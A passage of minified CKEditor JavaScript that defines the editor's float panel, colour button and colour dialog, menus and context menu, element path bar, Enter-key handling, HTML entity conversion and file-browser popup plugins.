this._.editor.fire("panelHide",this)}},allowBlur:function(a){var b=this._.panel;void 0!==a&&(b.allowBlur=a);return b.allowBlur},showAsChild:function(a,b,c,g,f,h){this._.activeChild==a&&a._.panel._.offsetParentId==c.getId()||(this.hideChild(),a.onHide=CKEDITOR.tools.bind(function(){CKEDITOR.tools.setTimeout(function(){this._.focused||this.hide()},0,this)},this),this._.activeChild=a,this._.focused=!1,a.showBlock(b,c,g,f,h),this.blur(),(CKEDITOR.env.ie7Compat||CKEDITOR.env.ie6Compat)&&setTimeout(function(){a.element.getChild(0).$.style.cssText+=
""},100))},hideChild:function(a){var b=this._.activeChild;b&&(delete b.onHide,delete this._.activeChild,b.hide(),a&&this.focus())}}});CKEDITOR.on("instanceDestroyed",function(){var a=CKEDITOR.tools.isEmpty(CKEDITOR.instances),b;for(b in g){var c=g[b];a?c.destroy():c.element.hide()}a&&(g={})})})();CKEDITOR.plugins.add("colorbutton",{requires:"panelbutton,floatpanel",init:function(c){function o(m,g,e,h){var i=new CKEDITOR.style(j["colorButton_"+g+"Style"]),k=CKEDITOR.tools.getNextId()+"_colorBox";c.ui.add(m,CKEDITOR.UI_PANELBUTTON,{label:e,title:e,modes:{wysiwyg:1},editorFocus:0,toolbar:"colors,"+h,allowedContent:i,requiredContent:i,panel:{css:CKEDITOR.skin.getPath("editor"),attributes:{role:"listbox","aria-label":f.panelTitle}},onBlock:function(a,b){b.autoSize=!0;b.element.addClass("cke_colorblock");
b.element.setHtml(q(a,g,k));b.element.getDocument().getBody().setStyle("overflow","hidden");CKEDITOR.ui.fire("ready",this);var d=b.keys,e="rtl"==c.lang.dir;d[e?37:39]="next";d[40]="next";d[9]="next";d[e?39:37]="prev";d[38]="prev";d[CKEDITOR.SHIFT+9]="prev";d[32]="click"},refresh:function(){c.activeFilter.check(i)||this.setState(CKEDITOR.TRISTATE_DISABLED)},onOpen:function(){var a=c.getSelection(),a=a&&a.getStartElement(),a=c.elementPath(a),b;if(a){a=a.block||a.blockLimit||c.document.getBody();do b=
a&&a.getComputedStyle("back"==g?"background-color":"color")||"transparent";while("back"==g&&"transparent"==b&&a&&(a=a.getParent()));if(!b||"transparent"==b)b="#ffffff";this._.panel._.iframe.getFrameDocument().getById(k).setStyle("background-color",b);return b}}})}function q(m,g,e){var h=[],i=j.colorButton_colors.split(","),k=c.plugins.colordialog&&!1!==j.colorButton_enableMore,a=i.length+(k?2:1),b=CKEDITOR.tools.addFunction(function(a,b){function d(a){this.removeListener("ok",d);this.removeListener("cancel",
d);"ok"==a.name&&e(this.getContentElement("picker","selectedColor").getValue(),b)}var e=arguments.callee;if("?"==a)c.openDialog("colordialog",function(){this.on("ok",d);this.on("cancel",d)});else{c.focus();m.hide();c.fire("saveSnapshot");c.removeStyle(new CKEDITOR.style(j["colorButton_"+b+"Style"],{color:"inherit"}));if(a){var f=j["colorButton_"+b+"Style"];f.childRule="back"==b?function(a){return p(a)}:function(a){return!(a.is("a")||a.getElementsByTag("a").count())||p(a)};c.applyStyle(new CKEDITOR.style(f,
{color:a}))}c.fire("saveSnapshot")}});h.push('<a class="cke_colorauto" _cke_focus=1 hidefocus=true title="',f.auto,'" onclick="CKEDITOR.tools.callFunction(',b,",null,'",g,"');return false;\" href=\"javascript:void('",f.auto,'\')" role="option" aria-posinset="1" aria-setsize="',a,'"><table role="presentation" cellspacing=0 cellpadding=0 width="100%"><tr><td><span class="cke_colorbox" id="',e,'"></span></td><td colspan=7 align=center>',f.auto,'</td></tr></table></a><table role="presentation" cellspacing=0 cellpadding=0 width="100%">');
for(e=0;e<i.length;e++){0===e%8&&h.push("</tr><tr>");var d=i[e].split("/"),l=d[0],n=d[1]||l;d[1]||(l="#"+l.replace(/^(.)(.)(.)$/,"$1$1$2$2$3$3"));d=c.lang.colorbutton.colors[n]||n;h.push('<td><a class="cke_colorbox" _cke_focus=1 hidefocus=true title="',d,'" onclick="CKEDITOR.tools.callFunction(',b,",'",l,"','",g,"'); return false;\" href=\"javascript:void('",d,'\')" role="option" aria-posinset="',e+2,'" aria-setsize="',a,'"><span class="cke_colorbox" style="background-color:#',n,'"></span></a></td>')}k&&
h.push('</tr><tr><td colspan=8 align=center><a class="cke_colormore" _cke_focus=1 hidefocus=true title="',f.more,'" onclick="CKEDITOR.tools.callFunction(',b,",'?','",g,"');return false;\" href=\"javascript:void('",f.more,"')\"",' role="option" aria-posinset="',a,'" aria-setsize="',a,'">',f.more,"</a></td>");h.push("</tr></table>");return h.join("")}function p(c){return"false"==c.getAttribute("contentEditable")||c.getAttribute("data-nostyle")}var j=c.config,f=c.lang.colorbutton;CKEDITOR.env.hc||(o("TextColor",
"fore",f.textColorTitle,10),o("BGColor","back",f.bgColorTitle,20))}});CKEDITOR.config.colorButton_colors="000,800000,8B4513,2F4F4F,008080,000080,4B0082,696969,B22222,A52A2A,DAA520,006400,40E0D0,0000CD,800080,808080,F00,FF8C00,FFD700,008000,0FF,00F,EE82EE,A9A9A9,FFA07A,FFA500,FFFF00,00FF00,AFEEEE,ADD8E6,DDA0DD,D3D3D3,FFF0F5,FAEBD7,FFFFE0,F0FFF0,F0FFFF,F0F8FF,E6E6FA,FFF";CKEDITOR.config.colorButton_foreStyle={element:"span",styles:{color:"#(color)"},overrides:[{element:"font",attributes:{color:null}}]};
CKEDITOR.config.colorButton_backStyle={element:"span",styles:{"background-color":"#(color)"}};CKEDITOR.plugins.colordialog={requires:"dialog",init:function(b){var c=new CKEDITOR.dialogCommand("colordialog");c.editorFocus=!1;b.addCommand("colordialog",c);CKEDITOR.dialog.add("colordialog",this.path+"dialogs/colordialog.js");b.getColorFromDialog=function(c,f){var d=function(a){this.removeListener("ok",d);this.removeListener("cancel",d);a="ok"==a.name?this.getValueOf("picker","selectedColor"):null;c.call(f,a)},e=function(a){a.on("ok",d);a.on("cancel",d)};b.execCommand("colordialog");if(b._.storedDialogs&&
b._.storedDialogs.colordialog)e(b._.storedDialogs.colordialog);else CKEDITOR.on("dialogDefinition",function(a){if("colordialog"==a.data.name){var b=a.data.definition;a.removeListener();b.onLoad=CKEDITOR.tools.override(b.onLoad,function(a){return function(){e(this);b.onLoad=a;"function"==typeof a&&a.call(this)}})}})}}};CKEDITOR.plugins.add("colordialog",CKEDITOR.plugins.colordialog);CKEDITOR.plugins.add("menu",{requires:"floatpanel",beforeInit:function(g){for(var h=g.config.menu_groups.split(","),m=g._.menuGroups={},l=g._.menuItems={},a=0;a<h.length;a++)m[h[a]]=a+1;g.addMenuGroup=function(b,a){m[b]=a||100};g.addMenuItem=function(a,c){m[c.group]&&(l[a]=new CKEDITOR.menuItem(this,a,c))};g.addMenuItems=function(a){for(var c in a)this.addMenuItem(c,a[c])};g.getMenuItem=function(a){return l[a]};g.removeMenuItem=function(a){delete l[a]}}});
(function(){function g(a){a.sort(function(a,c){return a.group<c.group?-1:a.group>c.group?1:a.order<c.order?-1:a.order>c.order?1:0})}var h='<span class="cke_menuitem"><a id="{id}" class="cke_menubutton cke_menubutton__{name} cke_menubutton_{state} {cls}" href="{href}" title="{title}" tabindex="-1"_cke_focus=1 hidefocus="true" role="{role}" aria-haspopup="{hasPopup}" aria-disabled="{disabled}" {ariaChecked}';CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(h+=' onkeypress="return false;"');CKEDITOR.env.gecko&&
(h+=' onblur="this.style.cssText = this.style.cssText;"');var h=h+(' onmouseover="CKEDITOR.tools.callFunction({hoverFn},{index});" onmouseout="CKEDITOR.tools.callFunction({moveOutFn},{index});" '+(CKEDITOR.env.ie?'onclick="return false;" onmouseup':"onclick")+'="CKEDITOR.tools.callFunction({clickFn},{index}); return false;">'),m=CKEDITOR.addTemplate("menuItem",h+'<span class="cke_menubutton_inner"><span class="cke_menubutton_icon"><span class="cke_button_icon cke_button__{iconName}_icon" style="{iconStyle}"></span></span><span class="cke_menubutton_label">{label}</span>{arrowHtml}</span></a></span>'),
l=CKEDITOR.addTemplate("menuArrow",'<span class="cke_menuarrow"><span>{label}</span></span>');CKEDITOR.menu=CKEDITOR.tools.createClass({$:function(a,b){b=this._.definition=b||{};this.id=CKEDITOR.tools.getNextId();this.editor=a;this.items=[];this._.listeners=[];this._.level=b.level||1;var c=CKEDITOR.tools.extend({},b.panel,{css:[CKEDITOR.skin.getPath("editor")],level:this._.level-1,block:{}}),k=c.block.attributes=c.attributes||{};!k.role&&(k.role="menu");this._.panelDefinition=c},_:{onShow:function(){var a=
this.editor.getSelection(),b=a&&a.getStartElement(),c=this.editor.elementPath(),k=this._.listeners;this.removeAll();for(var e=0;e<k.length;e++){var j=k[e](b,a,c);if(j)for(var i in j){var f=this.editor.getMenuItem(i);if(f&&(!f.command||this.editor.getCommand(f.command).state))f.state=j[i],this.add(f)}}},onClick:function(a){this.hide();if(a.onClick)a.onClick();else a.command&&this.editor.execCommand(a.command)},onEscape:function(a){var b=this.parent;b?b._.panel.hideChild(1):27==a&&this.hide(1);return!1},
onHide:function(){this.onHide&&this.onHide()},showSubMenu:function(a){var b=this._.subMenu,c=this.items[a];if(c=c.getItems&&c.getItems()){b?b.removeAll():(b=this._.subMenu=new CKEDITOR.menu(this.editor,CKEDITOR.tools.extend({},this._.definition,{level:this._.level+1},!0)),b.parent=this,b._.onClick=CKEDITOR.tools.bind(this._.onClick,this));for(var k in c){var e=this.editor.getMenuItem(k);e&&(e.state=c[k],b.add(e))}var j=this._.panel.getBlock(this.id).element.getDocument().getById(this.id+(""+a));setTimeout(function(){b.show(j,
2)},0)}else this._.panel.hideChild(1)}},proto:{add:function(a){a.order||(a.order=this.items.length);this.items.push(a)},removeAll:function(){this.items=[]},show:function(a,b,c,k){if(!this.parent&&(this._.onShow(),!this.items.length))return;var b=b||("rtl"==this.editor.lang.dir?2:1),e=this.items,j=this.editor,i=this._.panel,f=this._.element;if(!i){i=this._.panel=new CKEDITOR.ui.floatPanel(this.editor,CKEDITOR.document.getBody(),this._.panelDefinition,this._.level);i.onEscape=CKEDITOR.tools.bind(function(a){if(!1===
this._.onEscape(a))return!1},this);i.onShow=function(){i._.panel.getHolderElement().getParent().addClass("cke cke_reset_all")};i.onHide=CKEDITOR.tools.bind(function(){this._.onHide&&this._.onHide()},this);f=i.addBlock(this.id,this._.panelDefinition.block);f.autoSize=!0;var d=f.keys;d[40]="next";d[9]="next";d[38]="prev";d[CKEDITOR.SHIFT+9]="prev";d["rtl"==j.lang.dir?37:39]=CKEDITOR.env.ie?"mouseup":"click";d[32]=CKEDITOR.env.ie?"mouseup":"click";CKEDITOR.env.ie&&(d[13]="mouseup");f=this._.element=
f.element;d=f.getDocument();d.getBody().setStyle("overflow","hidden");d.getElementsByTag("html").getItem(0).setStyle("overflow","hidden");this._.itemOverFn=CKEDITOR.tools.addFunction(function(a){clearTimeout(this._.showSubTimeout);this._.showSubTimeout=CKEDITOR.tools.setTimeout(this._.showSubMenu,j.config.menu_subMenuDelay||400,this,[a])},this);this._.itemOutFn=CKEDITOR.tools.addFunction(function(){clearTimeout(this._.showSubTimeout)},this);this._.itemClickFn=CKEDITOR.tools.addFunction(function(a){var b=
this.items[a];if(b.state==CKEDITOR.TRISTATE_DISABLED)this.hide(1);else if(b.getItems)this._.showSubMenu(a);else this._.onClick(b)},this)}g(e);for(var d=j.elementPath(),d=['<div class="cke_menu'+(d&&d.direction()!=j.lang.dir?" cke_mixed_dir_content":"")+'" role="presentation">'],h=e.length,m=h&&e[0].group,l=0;l<h;l++){var n=e[l];m!=n.group&&(d.push('<div class="cke_menuseparator" role="separator"></div>'),m=n.group);n.render(this,l,d)}d.push("</div>");f.setHtml(d.join(""));CKEDITOR.ui.fire("ready",
this);this.parent?this.parent._.panel.showAsChild(i,this.id,a,b,c,k):i.showBlock(this.id,a,b,c,k);j.fire("menuShow",[i])},addListener:function(a){this._.listeners.push(a)},hide:function(a){this._.onHide&&this._.onHide();this._.panel&&this._.panel.hide(a)}}});CKEDITOR.menuItem=CKEDITOR.tools.createClass({$:function(a,b,c){CKEDITOR.tools.extend(this,c,{order:0,className:"cke_menubutton__"+b});this.group=a._.menuGroups[this.group];this.editor=a;this.name=b},proto:{render:function(a,b,c){var h=a.id+(""+
b),e="undefined"==typeof this.state?CKEDITOR.TRISTATE_OFF:this.state,j="",i=e==CKEDITOR.TRISTATE_ON?"on":e==CKEDITOR.TRISTATE_DISABLED?"disabled":"off";this.role in{menuitemcheckbox:1,menuitemradio:1}&&(j=' aria-checked="'+(e==CKEDITOR.TRISTATE_ON?"true":"false")+'"');var f=this.getItems,d="&#"+("rtl"==this.editor.lang.dir?"9668":"9658")+";",g=this.name;this.icon&&!/\./.test(this.icon)&&(g=this.icon);a={id:h,name:this.name,iconName:g,label:this.label,cls:this.className||"",state:i,hasPopup:f?"true":
"false",disabled:e==CKEDITOR.TRISTATE_DISABLED,title:this.label,href:"javascript:void('"+(this.label||"").replace("'")+"')",hoverFn:a._.itemOverFn,moveOutFn:a._.itemOutFn,clickFn:a._.itemClickFn,index:b,iconStyle:CKEDITOR.skin.getIconStyle(g,"rtl"==this.editor.lang.dir,g==this.icon?null:this.icon,this.iconOffset),arrowHtml:f?l.output({label:d}):"",role:this.role?this.role:"menuitem",ariaChecked:j};m.output(a,c)}}})})();CKEDITOR.config.menu_groups="clipboard,form,tablecell,tablecellproperties,tablerow,tablecolumn,table,anchor,link,image,flash,checkbox,radio,textfield,hiddenfield,imagebutton,button,select,textarea,div";CKEDITOR.plugins.add("contextmenu",{requires:"menu",onLoad:function(){CKEDITOR.plugins.contextMenu=CKEDITOR.tools.createClass({base:CKEDITOR.menu,$:function(a){this.base.call(this,a,{panel:{className:"cke_menu_panel",attributes:{"aria-label":a.lang.contextmenu.options}}})},proto:{addTarget:function(a,e){a.on("contextmenu",function(a){var a=a.data,c=CKEDITOR.env.webkit?f:CKEDITOR.env.mac?a.$.metaKey:a.$.ctrlKey;if(!e||!c){a.preventDefault();if(CKEDITOR.env.mac&&CKEDITOR.env.webkit){var c=this.editor,
b=(new CKEDITOR.dom.elementPath(a.getTarget(),c.editable())).contains(function(a){return a.hasAttribute("contenteditable")},!0);b&&"false"==b.getAttribute("contenteditable")&&c.getSelection().fake(b)}var b=a.getTarget().getDocument(),d=a.getTarget().getDocument().getDocumentElement(),c=!b.equals(CKEDITOR.document),b=b.getWindow().getScrollPosition(),g=c?a.$.clientX:a.$.pageX||b.x+a.$.clientX,h=c?a.$.clientY:a.$.pageY||b.y+a.$.clientY;CKEDITOR.tools.setTimeout(function(){this.open(d,null,g,h)},CKEDITOR.env.ie?
200:0,this)}},this);if(CKEDITOR.env.webkit){var f,d=function(){f=0};a.on("keydown",function(a){f=CKEDITOR.env.mac?a.data.$.metaKey:a.data.$.ctrlKey});a.on("keyup",d);a.on("contextmenu",d)}},open:function(a,e,f,d){this.editor.focus();a=a||CKEDITOR.document.getDocumentElement();this.editor.selectionChange(1);this.show(a,e,f,d)}}})},beforeInit:function(a){var e=a.contextMenu=new CKEDITOR.plugins.contextMenu(a);a.on("contentDom",function(){e.addTarget(a.editable(),!1!==a.config.browserContextMenuOnCtrl)});
a.addCommand("contextMenu",{exec:function(){a.contextMenu.open(a.document.getBody())}});a.setKeystroke(CKEDITOR.SHIFT+121,"contextMenu");a.setKeystroke(CKEDITOR.CTRL+CKEDITOR.SHIFT+121,"contextMenu")}});(function(){var k;function n(a,c){function j(d){d=i.list[d];if(d.equals(a.editable())||"true"==d.getAttribute("contenteditable")){var e=a.createRange();e.selectNodeContents(d);e.select()}else a.getSelection().selectElement(d);a.focus()}function s(){l&&l.setHtml(o);delete i.list}var m=a.ui.spaceId("path"),l,i=a._.elementsPath,n=i.idBase;c.html+='<span id="'+m+'_label" class="cke_voice_label">'+a.lang.elementspath.eleLabel+'</span><span id="'+m+'" class="cke_path" role="group" aria-labelledby="'+m+
'_label">'+o+"</span>";a.on("uiReady",function(){var d=a.ui.space("path");d&&a.focusManager.add(d,1)});i.onClick=j;var t=CKEDITOR.tools.addFunction(j),u=CKEDITOR.tools.addFunction(function(d,e){var g=i.idBase,b,e=new CKEDITOR.dom.event(e);b="rtl"==a.lang.dir;switch(e.getKeystroke()){case b?39:37:case 9:return(b=CKEDITOR.document.getById(g+(d+1)))||(b=CKEDITOR.document.getById(g+"0")),b.focus(),!1;case b?37:39:case CKEDITOR.SHIFT+9:return(b=CKEDITOR.document.getById(g+(d-1)))||(b=CKEDITOR.document.getById(g+
(i.list.length-1))),b.focus(),!1;case 27:return a.focus(),!1;case 13:case 32:return j(d),!1}return!0});a.on("selectionChange",function(){for(var d=[],e=i.list=[],g=[],b=i.filters,c=!0,j=a.elementPath().elements,f,k=j.length;k--;){var h=j[k],p=0;f=h.data("cke-display-name")?h.data("cke-display-name"):h.data("cke-real-element-type")?h.data("cke-real-element-type"):h.getName();c=h.hasAttribute("contenteditable")?"true"==h.getAttribute("contenteditable"):c;!c&&!h.hasAttribute("contenteditable")&&(p=1);
for(var q=0;q<b.length;q++){var r=b[q](h,f);if(!1===r){p=1;break}f=r||f}p||(e.unshift(h),g.unshift(f))}e=e.length;for(b=0;b<e;b++)f=g[b],c=a.lang.elementspath.eleTitle.replace(/%1/,f),f=v.output({id:n+b,label:c,text:f,jsTitle:"javascript:void('"+f+"')",index:b,keyDownFn:u,clickFn:t}),d.unshift(f);l||(l=CKEDITOR.document.getById(m));g=l;g.setHtml(d.join("")+o);a.fire("elementsPathUpdate",{space:g})});a.on("readOnly",s);a.on("contentDomUnload",s);a.addCommand("elementsPathFocus",k);a.setKeystroke(CKEDITOR.ALT+
122,"elementsPathFocus")}k={editorFocus:!1,readOnly:1,exec:function(a){(a=CKEDITOR.document.getById(a._.elementsPath.idBase+"0"))&&a.focus(CKEDITOR.env.ie||CKEDITOR.env.air)}};var o='<span class="cke_path_empty">&nbsp;</span>',c="";CKEDITOR.env.gecko&&CKEDITOR.env.mac&&(c+=' onkeypress="return false;"');CKEDITOR.env.gecko&&(c+=' onblur="this.style.cssText = this.style.cssText;"');var v=CKEDITOR.addTemplate("pathItem",'<a id="{id}" href="{jsTitle}" tabindex="-1" class="cke_path_item" title="{label}"'+
c+' hidefocus="true"  onkeydown="return CKEDITOR.tools.callFunction({keyDownFn},{index}, event );" onclick="CKEDITOR.tools.callFunction({clickFn},{index}); return false;" role="button" aria-label="{label}">{text}</a>');CKEDITOR.plugins.add("elementspath",{init:function(a){a._.elementsPath={idBase:"cke_elementspath_"+CKEDITOR.tools.getNextNumber()+"_",filters:[]};a.on("uiSpace",function(c){"bottom"==c.data.space&&n(a,c.data)})}})})();(function(){function m(b,d,a){a=b.config.forceEnterMode||a;"wysiwyg"==b.mode&&(d||(d=b.activeEnterMode),b.elementPath().isContextFor("p")||(d=CKEDITOR.ENTER_BR,a=1),b.fire("saveSnapshot"),d==CKEDITOR.ENTER_BR?p(b,d,null,a):q(b,d,null,a),b.fire("saveSnapshot"))}function r(b){for(var b=b.getSelection().getRanges(!0),d=b.length-1;0<d;d--)b[d].deleteContents();return b[0]}function u(b){var d=b.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&&"true"==a.getAttribute("contenteditable")},
!0);if(b.root.equals(d))return b;d=new CKEDITOR.dom.range(d);d.moveToRange(b);return d}CKEDITOR.plugins.add("enterkey",{init:function(b){b.addCommand("enter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){m(b)}});b.addCommand("shiftEnter",{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){m(b,b.activeShiftEnterMode,1)}});b.setKeystroke([[13,"enter"],[CKEDITOR.SHIFT+13,"shiftEnter"]])}});var v=CKEDITOR.dom.walker.whitespaces(),w=CKEDITOR.dom.walker.bookmark();CKEDITOR.plugins.enterkey={enterBlock:function(b,
d,a,h){if(a=a||r(b)){var a=u(a),f=a.document,i=a.checkStartOfBlock(),k=a.checkEndOfBlock(),j=b.elementPath(a.startContainer),c=j.block,l=d==CKEDITOR.ENTER_DIV?"div":"p",e;if(i&&k){if(c&&(c.is("li")||c.getParent().is("li"))){c.is("li")||(c=c.getParent());a=c.getParent();e=a.getParent();var h=!c.hasPrevious(),n=!c.hasNext(),l=b.getSelection(),g=l.createBookmarks(),i=c.getDirection(1),k=c.getAttribute("class"),o=c.getAttribute("style"),m=e.getDirection(1)!=i,b=b.enterMode!=CKEDITOR.ENTER_BR||m||o||k;
if(e.is("li"))if(h||n)c[h?"insertBefore":"insertAfter"](e);else c.breakParent(e);else{if(b)if(j.block.is("li")?(e=f.createElement(d==CKEDITOR.ENTER_P?"p":"div"),m&&e.setAttribute("dir",i),o&&e.setAttribute("style",o),k&&e.setAttribute("class",k),c.moveChildren(e)):e=j.block,h||n)e[h?"insertBefore":"insertAfter"](a);else c.breakParent(a),e.insertAfter(a);else if(c.appendBogus(!0),h||n)for(;f=c[h?"getFirst":"getLast"]();)f[h?"insertBefore":"insertAfter"](a);else for(c.breakParent(a);f=c.getLast();)f.insertAfter(a);
c.remove()}l.selectBookmarks(g);return}if(c&&c.getParent().is("blockquote")){c.breakParent(c.getParent());c.getPrevious().getFirst(CKEDITOR.dom.walker.invisible(1))||c.getPrevious().remove();c.getNext().getFirst(CKEDITOR.dom.walker.invisible(1))||c.getNext().remove();a.moveToElementEditStart(c);a.select();return}}else if(c&&c.is("pre")&&!k){p(b,d,a,h);return}if(i=a.splitBlock(l)){d=i.previousBlock;c=i.nextBlock;j=i.wasStartOfBlock;b=i.wasEndOfBlock;if(c)g=c.getParent(),g.is("li")&&(c.breakParent(g),
c.move(c.getNext(),1));else if(d&&(g=d.getParent())&&g.is("li"))d.breakParent(g),g=d.getNext(),a.moveToElementEditStart(g),d.move(d.getPrevious());if(!j&&!b)c.is("li")&&(e=a.clone(),e.selectNodeContents(c),e=new CKEDITOR.dom.walker(e),e.evaluator=function(a){return!(w(a)||v(a)||a.type==CKEDITOR.NODE_ELEMENT&&a.getName()in CKEDITOR.dtd.$inline&&!(a.getName()in CKEDITOR.dtd.$empty))},(g=e.next())&&(g.type==CKEDITOR.NODE_ELEMENT&&g.is("ul","ol"))&&(CKEDITOR.env.needsBrFiller?f.createElement("br"):f.createText(" ")).insertBefore(g)),
c&&a.moveToElementEditStart(c);else{if(d){if(d.is("li")||!s.test(d.getName())&&!d.is("pre"))e=d.clone()}else c&&(e=c.clone());e?h&&!e.is("li")&&e.renameNode(l):g&&g.is("li")?e=g:(e=f.createElement(l),d&&(n=d.getDirection())&&e.setAttribute("dir",n));if(f=i.elementPath){h=0;for(l=f.elements.length;h<l;h++){g=f.elements[h];if(g.equals(f.block)||g.equals(f.blockLimit))break;CKEDITOR.dtd.$removeEmpty[g.getName()]&&(g=g.clone(),e.moveChildren(g),e.append(g))}}e.appendBogus();e.getParent()||a.insertNode(e);
e.is("li")&&e.removeAttribute("value");if(CKEDITOR.env.ie&&j&&(!b||!d.getChildCount()))a.moveToElementEditStart(b?d:e),a.select();a.moveToElementEditStart(j&&!b?c:e)}a.select();a.scrollIntoView()}}},enterBr:function(b,d,a,h){if(a=a||r(b)){var f=a.document,i=a.checkEndOfBlock(),k=new CKEDITOR.dom.elementPath(b.getSelection().getStartElement()),j=k.block,c=j&&k.block.getName();!h&&"li"==c?q(b,d,a,h):(!h&&i&&s.test(c)?(i=j.getDirection())?(f=f.createElement("div"),f.setAttribute("dir",i),f.insertAfter(j),
a.setStart(f,0)):(f.createElement("br").insertAfter(j),CKEDITOR.env.gecko&&f.createText("").insertAfter(j),a.setStartAt(j.getNext(),CKEDITOR.env.ie?CKEDITOR.POSITION_BEFORE_START:CKEDITOR.POSITION_AFTER_START)):(b="pre"==c&&CKEDITOR.env.ie&&8>CKEDITOR.env.version?f.createText("\r"):f.createElement("br"),a.deleteContents(),a.insertNode(b),CKEDITOR.env.needsBrFiller?(f.createText("﻿").insertAfter(b),i&&(j||k.blockLimit).appendBogus(),b.getNext().$.nodeValue="",a.setStartAt(b.getNext(),CKEDITOR.POSITION_AFTER_START)):
a.setStartAt(b,CKEDITOR.POSITION_AFTER_END)),a.collapse(!0),a.select(),a.scrollIntoView())}}};var t=CKEDITOR.plugins.enterkey,p=t.enterBr,q=t.enterBlock,s=/^h[1-6]$/})();(function(){function i(b,f){var g={},c=[],e={nbsp:" ",shy:"­",gt:">",lt:"<",amp:"&",apos:"'",quot:'"'},b=b.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,function(b,a){var d=f?"&"+a+";":e[a];g[d]=f?e[a]:"&"+a+";";c.push(d);return""});if(!f&&b){var b=b.split(","),a=document.createElement("div"),d;a.innerHTML="&"+b.join(";&")+";";d=a.innerHTML;a=null;for(a=0;a<d.length;a++){var h=d.charAt(a);g[h]="&"+b[a]+";";c.push(h)}}g.regex=c.join(f?"|":"");return g}CKEDITOR.plugins.add("entities",{afterInit:function(b){function f(a){return h[a]}
function g(b){return"force"==c.entities_processNumerical||!a[b]?"&#"+b.charCodeAt(0)+";":a[b]}var c=b.config;if(b=(b=b.dataProcessor)&&b.htmlFilter){var e=[];!1!==c.basicEntities&&e.push("nbsp,gt,lt,amp");c.entities&&(e.length&&e.push("quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,notin,ni,prod,sum,minus,lowast,radic,prop,infin,ang,and,or,cap,cup,int,there4,sim,cong,asymp,ne,equiv,le,ge,sub,sup,nsub,sube,supe,oplus,otimes,perp,sdot,lceil,rceil,lfloor,rfloor,lang,rang,loz,spades,clubs,hearts,diams,circ,tilde,ensp,emsp,thinsp,zwnj,zwj,lrm,rlm,ndash,mdash,lsquo,rsquo,sbquo,ldquo,rdquo,bdquo,dagger,Dagger,permil,lsaquo,rsaquo,euro"),
c.entities_latin&&e.push("Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml"),c.entities_greek&&e.push("Alpha,Beta,Gamma,Delta,Epsilon,Zeta,Eta,Theta,Iota,Kappa,Lambda,Mu,Nu,Xi,Omicron,Pi,Rho,Sigma,Tau,Upsilon,Phi,Chi,Psi,Omega,alpha,beta,gamma,delta,epsilon,zeta,eta,theta,iota,kappa,lambda,mu,nu,xi,omicron,pi,rho,sigmaf,sigma,tau,upsilon,phi,chi,psi,omega,thetasym,upsih,piv"),
c.entities_additional&&e.push(c.entities_additional));var a=i(e.join(",")),d=a.regex?"["+a.regex+"]":"a^";delete a.regex;c.entities&&c.entities_processNumerical&&(d="[^ -~]|"+d);var d=RegExp(d,"g"),h=i("nbsp,gt,lt,amp,shy",!0),j=RegExp(h.regex,"g");b.addRules({text:function(a){return a.replace(j,f).replace(d,g)}},{applyToAll:!0,excludeNestedEditable:!0})}}})})();CKEDITOR.config.basicEntities=!0;CKEDITOR.config.entities=!0;CKEDITOR.config.entities_latin=!0;CKEDITOR.config.entities_greek=!0;
CKEDITOR.config.entities_additional="#39";CKEDITOR.plugins.add("popup");
CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{popup:function(e,a,b,d){a=a||"80%";b=b||"70%";"string"==typeof a&&(1<a.length&&"%"==a.substr(a.length-1,1))&&(a=parseInt(window.screen.width*parseInt(a,10)/100,10));"string"==typeof b&&(1<b.length&&"%"==b.substr(b.length-1,1))&&(b=parseInt(window.screen.height*parseInt(b,10)/100,10));640>a&&(a=640);420>b&&(b=420);var f=parseInt((window.screen.height-b)/2,10),g=parseInt((window.screen.width-a)/2,10),d=(d||"location=no,menubar=no,toolbar=no,dependent=yes,minimizable=no,modal=yes,alwaysRaised=yes,resizable=yes,scrollbars=yes")+",width="+
a+",height="+b+",top="+f+",left="+g,c=window.open("",null,d,!0);if(!c)return!1;try{-1==navigator.userAgent.toLowerCase().indexOf(" chrome/")&&(c.moveTo(g,f),c.resizeTo(a,b)),c.focus(),c.location.href=e}catch(h){window.open(e,null,d,!0)}return!0}});(function(){function g(a,c){var d=[];if(c)for(var b in c)d.push(b+"="+encodeURIComponent(c[b]));else return a;return a+(-1!=a.indexOf("?")?"&":"?")+d.join("&")}function i(a){a+="";return a.charAt(0).toUpperCase()+a.substr(1)}function k(){var a=this.getDialog(),c=a.getParentEditor();c._.filebrowserSe=this;var d=c.config["filebrowser"+i(a.getName())+"WindowWidth"]||c.config.filebrowserWindowWidth||"80%",a=c.config["filebrowser"+i(a.getName())+"WindowHeight"]||c.config.filebrowserWindowHeight||"70%",
b=this.filebrowser.params||{};b.CKEditor=c.name;b.CKEditorFuncNum=c._.filebrowserFn;b.langCode||(b.langCode=c.langCode);b=g(this.filebrowser.url,b);c.popup(b,d,a,c.config.filebrowserWindowFeatures||c.config.fileBrowserWindowFeatures)}function l(){var a=this.getDialog();a.getParentEditor()._.filebrowserSe=this;return!a.getContentElement(this["for"][0],this["for"][1]).getInputElement().$.value||!a.getContentElement(this["for"][0],this["for"][1]).getAction()?!1:!0}function m(a,c,d){var b=d.params||{};
